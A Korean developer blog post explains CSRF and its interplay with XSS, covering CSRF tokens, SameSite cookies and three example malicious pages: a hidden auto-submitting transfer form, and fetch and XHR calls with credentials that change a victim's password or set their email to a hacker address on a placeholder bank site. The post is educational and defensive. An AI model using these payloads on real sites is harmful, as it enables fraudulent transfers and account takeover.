XSS(Cross-Site Scripting), CSRF(Cross-Site Request Forgery)

niche·2025년 4월 12일
  1. CSRF 공격이란?
    CSRF(Cross-Site Request Forgery)는 인증된 사용자가 의도하지 않은 요청을 악의적인 웹사이트를 통해 전송하도록 속이는 공격입니다.

    공격 시나리오:
    사용자가 A 사이트에 로그인하여 쿠키 인증 상태 유지
    악성 B 사이트 방문 시 숨겨진 요청이 A 사이트로 전송됨
    브라우저는 A 사이트 쿠키를 자동 전송
    서버는 정상적인 인증된 요청으로 착각하고 처리

  2. CSRF 토큰 방어 메커니즘
    CSRF 토큰은 요청이 정당한 출처에서 온 것인지 확인하는 보안 장치입니다:
    무작위성: 서버가 예측 불가능한 랜덤 토큰 생성
    이중 제출: 쿠키와 HTTP 헤더 두 곳에 토큰 포함
    요청 검증: 서버에서 두 토큰 일치 여부 확인


CSRF 공격의 구체적 예시

계좌 이체 CSRF 공격
bank.com의 정상 이체 API:

POST /api/transfer
{
  "toAccount": "1234567890",
  "amount": 50000
}

malicious.com에 숨겨진 코드:

<h1>무료 기프트카드 당첨!</h1>
<!-- 사용자 몰래 실행되는 악성 폼 -->
<form id="hiddenForm" action="https://bank.com/api/transfer" method="POST" style="display:none">
  <input type="hidden" name="toAccount" value="9876543210"> <!-- 해커 계좌 -->
  <input type="hidden" name="amount" value="500000">
</form>

<script>
  // 페이지 로드 시 자동 제출
  window.onload = function() {
    document.getElementById('hiddenForm').submit();
  }
</script>

비밀번호 변경 CSRF 공격
bank.com의 정상 비밀번호 변경 API:

POST /api/change-password
{
  "newPassword": "새비밀번호123"
}

malicious.com에 숨겨진 코드:

<div>재미있는 게임 시작하기</div>

<img src="cute-cat.jpg" width="0" height="0" onerror="changePassword()">

<script>
  function changePassword() {
    fetch('https://bank.com/api/change-password', {
      method: 'POST',
      credentials: 'include', // 중요: 쿠키가 자동으로 전송됨
      body: JSON.stringify({
        newPassword: 'hackedpassword123'
      })
    });
  }
</script>

사용자 정보 변경 CSRF 공격
bank.com의 정상 이메일 변경 API:

<h1>당신의 운세를 확인하세요!</h1>

<iframe style="display:none"></iframe>

<script>
  // 보이지 않는 요청 실행
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'https://bank.com/api/update-email', true);
  xhr.withCredentials = true; // 쿠키 전송
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.send(JSON.stringify({
    email: 'hacker@evil.com' // 해커의 이메일
  }));
</script>

공격 성공 조건
사용자가 bank.com에 이미 로그인되어 있음 (쿠키 존재)
bank.com이 CSRF 보호 없음 (토큰 검증 없음)
malicious.com 방문 시 요청이 자동으로 실행됨
브라우저가 bank.com 요청에 쿠키를 자동 전송

공격 결과
계좌 이체: 해커 계좌로 돈이 이체됨
비밀번호 변경: 해커가 설정한 비밀번호로 변경되어 계정 탈취
이메일 변경: 비밀번호 재설정 이메일이 해커에게 감


XSS와 CSRF 연계 공격 시나리오

시나리오 설명:
사용자가 example.com에 로그인 (쿠키 설정됨)
example.com 내에 XSS 취약점이 존재
XSS 공격으로 새 탭으로 리다이렉트 발생
새 탭에서 CSRF 공격 실행

공격 성공 가능성:
새 탭이 동일 도메인(example.com)으로 열린 경우:
쿠키가 그대로 유지됨
인증 상태도 유지됨
CSRF 공격 성공 가능성 높음

새 탭이 다른 도메인(attacker.com)으로 열린 경우:
쿠키는 자동 전송됨 (SameSite 설정이 없다면)
CSRF 토큰은 읽을 수 없음
CSRF 방어가 있다면 공격 실패, 없다면 성공

핵심 포인트:
XSS는 CSRF 방어를 우회할 수 있음
XSS로 인해 공격자가 example.com 컨텍스트에서 스크립트 실행 가능
이 경우 CSRF 토큰을 직접 읽을 수 있음
쿠키 보안 설정이 중요함
SameSite=Strict: 다른 사이트에서 쿠키 전송 불가
SameSite=Lax: 상위 레벨 내비게이션만 쿠키 전송 (기본값)
새 탭으로 리다이렉트하는 XSS는 더 위험할 수 있음
사용자가 눈치채기 어려움
메인 페이지 작동에 영향 없이 백그라운드에서 공격 진행

profile
개발이 곧 나를 만든다.

0개의 댓글